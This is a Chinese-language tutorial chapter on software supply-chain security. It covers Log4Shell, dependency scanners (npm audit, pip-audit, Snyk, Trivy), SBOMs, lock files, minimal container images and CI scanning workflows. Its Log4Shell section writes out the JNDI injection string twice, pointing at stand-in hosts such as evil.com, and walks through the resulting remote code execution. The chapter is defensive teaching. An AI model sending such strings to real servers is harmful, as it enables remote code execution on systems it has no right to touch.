Chapter 09

依赖安全与供应链

从 Log4Shell 到 SolarWinds——理解软件供应链风险,构建自动化安全扫描体系

Log4Shell:依赖漏洞的极端案例

2021 年 12 月,安全研究员在 Apache Log4j(Java 最广泛使用的日志库)中发现了 CVE-2021-44228,CVSS 评分 10.0 满分。攻击方式极其简单:只需让目标服务器记录一条包含 ${jndi:ldap://attacker.com/payload} 的日志,Log4j 就会自动发起网络请求并执行远程代码。这条"魔法字符串"可以出现在 HTTP Header(User-Agent、X-Forwarded-For)、URL 参数、表单提交……任何被记录的地方。

Log4Shell 的规模

在漏洞公开的 72 小时内,全球已检测到超过 180 万次利用尝试。受影响的系统估计超过 3 亿个(几乎所有使用 Java 的服务)。Log4j 被嵌套在数千个第三方库和产品中,很多公司甚至不知道自己使用了 Log4j。这就是依赖透明度(SBOM)如此重要的原因。

Log4Shell 攻击链(已修复漏洞,仅用于理解原理): 攻击者发送: User-Agent: ${jndi:ldap://evil.com/exploit} Log4j 处理: 1. 记录日志时解析 ${...} 表达式(JNDI Lookup 功能) 2. 自动发起 LDAP 请求到 evil.com 3. 服务器返回包含恶意 Java 类的响应 4. Log4j 自动加载并执行该类 结果:任意代码执行(RCE),无需认证,一行字符串触发 修复:升级到 Log4j 2.17.1+(禁用 JNDI lookup 功能)

依赖扫描工具

npm audit(Node.js)

# 扫描 npm 项目依赖中的已知漏洞
npm audit

# 自动修复(升级到最低修复版本)
npm audit fix

# 强制修复(包括 breaking changes,需测试!)
npm audit fix --force

# 以 JSON 格式输出(集成到 CI/CD)
npm audit --json | jq '.vulnerabilities | to_entries[] | select(.value.severity == "critical")'

# 示例输出(简化):
# found 3 vulnerabilities (1 moderate, 2 high)
# run `npm audit fix` to fix them, or
# `npm audit` for details

pip-audit(Python)

# 安装 pip-audit
pip install pip-audit

# 扫描当前环境
pip-audit

# 扫描 requirements.txt
pip-audit -r requirements.txt

# 以 JSON 格式输出(集成到 CI/CD)
pip-audit --format json -o audit-report.json

# Safety(另一款工具,数据库更全)
pip install safety
safety check -r requirements.txt

cargo audit(Rust)

# 安装 cargo-audit
cargo install cargo-audit

# 扫描 Cargo.lock
cargo audit

# 自动修复(更新依赖)
cargo audit fix

Snyk(多语言通用)

# Snyk:支持 Node/Python/Java/Go/Docker/IaC 的商业依赖扫描工具
# 免费版支持公开仓库
npm install -g snyk
snyk auth  # 登录 Snyk 账号

# 扫描代码依赖
snyk test

# 扫描 Docker 镜像
snyk container test nginx:latest

# 持续监控(每次有新漏洞自动通知)
snyk monitor

SBOM:软件物料清单

SBOM(Software Bill of Materials,软件物料清单)是列出软件中所有组件、库和依赖的清单,类似于食品包装上的"成分表"。当新的漏洞(如 Log4Shell)出现时,有 SBOM 的企业可以在几分钟内确认是否受影响;没有 SBOM 的企业可能需要几天甚至几周的手动排查。

生成 SBOM

# Syft:最流行的 SBOM 生成工具(支持容器/文件系统/源码)
curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh

# 为 Docker 镜像生成 SBOM(SPDX 格式)
syft myapp:latest -o spdx-json=sbom.json

# 为项目目录生成 SBOM(CycloneDX 格式)
syft dir:/app -o cyclonedx-json=sbom-cyclonedx.json

# 使用 Grype 扫描 SBOM 中的已知漏洞
grype sbom:./sbom.json

依赖锁定(Lock 文件的重要性)

Lock 文件(package-lock.jsonyarn.lockPipfile.lockCargo.lock)记录了所有依赖的确切版本,确保不同环境、不同时间的构建产物完全一致。

不要把 Lock 文件加入 .gitignore

Lock 文件是安全关键文件,应该提交到版本库中。原因:① 保证 CI/CD 构建结果与本地一致;② 防止 依赖混淆攻击(Dependency Confusion)——攻击者在公共 npm/PyPI 注册表发布与内部包同名但版本号更高的恶意包,如果没有锁定版本,包管理器可能自动安装恶意包;③ 便于追踪依赖变更历史。

Docker 镜像安全扫描

# Trivy:最流行的容器安全扫描工具
# 扫描 Docker 镜像中的操作系统漏洞和依赖漏洞

# 扫描镜像
trivy image myapp:latest

# 只报告 HIGH 和 CRITICAL 级别漏洞
trivy image --severity HIGH,CRITICAL myapp:latest

# 在 CI 中:发现漏洞则退出(非零退出码)
trivy image --exit-code 1 --severity CRITICAL myapp:latest

# 扫描本地文件系统(适用于无法 pull 镜像的场景)
trivy fs /path/to/project

使用最小基础镜像减少攻击面

# 避免:完整的 Ubuntu/Debian 镜像包含大量不必要的软件包
FROM ubuntu:22.04
# trivy 扫描可能发现数百个漏洞

# 推荐:使用 distroless 或 Alpine 最小化基础镜像
FROM gcr.io/distroless/python3  # 只包含 Python 运行时,无 shell,无包管理器

# 或使用 Alpine(极小,但有自己的 libc)
FROM python:3.12-alpine

# 多阶段构建:构建阶段使用完整镜像,运行阶段使用最小镜像
FROM python:3.12 AS builder
COPY requirements.txt .
RUN pip install --user -r requirements.txt

FROM gcr.io/distroless/python3
COPY --from=builder /root/.local /root/.local
COPY app/ /app/
USER 1000  # 非 root 运行
CMD ["/app/main.py"]

CI/CD 安全:集成自动化扫描

GitHub Actions 安全扫描示例

# .github/workflows/security.yml
name: Security Scan

on:
  push:
    branches: [main]
  pull_request:

jobs:
  dependency-audit:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4

    # Node.js 依赖扫描
    - name: npm audit
      run: npm audit --audit-level=high
      # --audit-level=high:发现 High 以上漏洞则失败

    # 或使用 Snyk
    - name: Snyk 依赖扫描
      uses: snyk/actions/node@master
      env:
        SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

  container-scan:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4

    - name: Build Docker image
      run: docker build -t myapp:${{ github.sha }} .

    - name: Trivy 镜像扫描
      uses: aquasecurity/trivy-action@master
      with:
        image-ref: myapp:${{ github.sha }}
        format: sarif
        output: trivy-results.sarif
        severity: CRITICAL,HIGH
        exit-code: 1  # 发现严重漏洞则 CI 失败

    - name: 上传扫描结果到 GitHub Security Tab
      uses: github/codeql-action/upload-sarif@v3
      with:
        sarif_file: trivy-results.sarif

  secrets-scan:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
      with:
        fetch-depth: 0  # 获取完整历史用于扫描

    - name: TruffleHog Secret 扫描
      uses: trufflesecurity/trufflehog@main
      with:
        path: ./
        base: ${{ github.event.repository.default_branch }}
        head: HEAD

Dependabot 自动化依赖更新

# .github/dependabot.yml
version: 2
updates:
  # npm 依赖(每周检查)
  - package-ecosystem: npm
    directory: /
    schedule:
      interval: weekly
    open-pull-requests-limit: 10

  # Python 依赖
  - package-ecosystem: pip
    directory: /
    schedule:
      interval: weekly

  # Docker 基础镜像更新
  - package-ecosystem: docker
    directory: /
    schedule:
      interval: monthly

  # GitHub Actions 版本更新
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: monthly
供应链安全最佳实践清单
本章小结

现代应用的代码中,自己编写的代码通常不超过 10%,其余 90% 是第三方依赖——而你对这些代码的安全性负有与自己代码同等的责任。Log4Shell 证明了一个被动了解甚至不知道存在的依赖,可以导致全球性的安全灾难。建立依赖安全防线的三个层次:① 扫描(定期/CI 自动);② 锁定(Lock 文件 + 精确安装);③ 更新(Dependabot 自动化)。供应链安全不是一次性工作,而是持续的安全运营能力。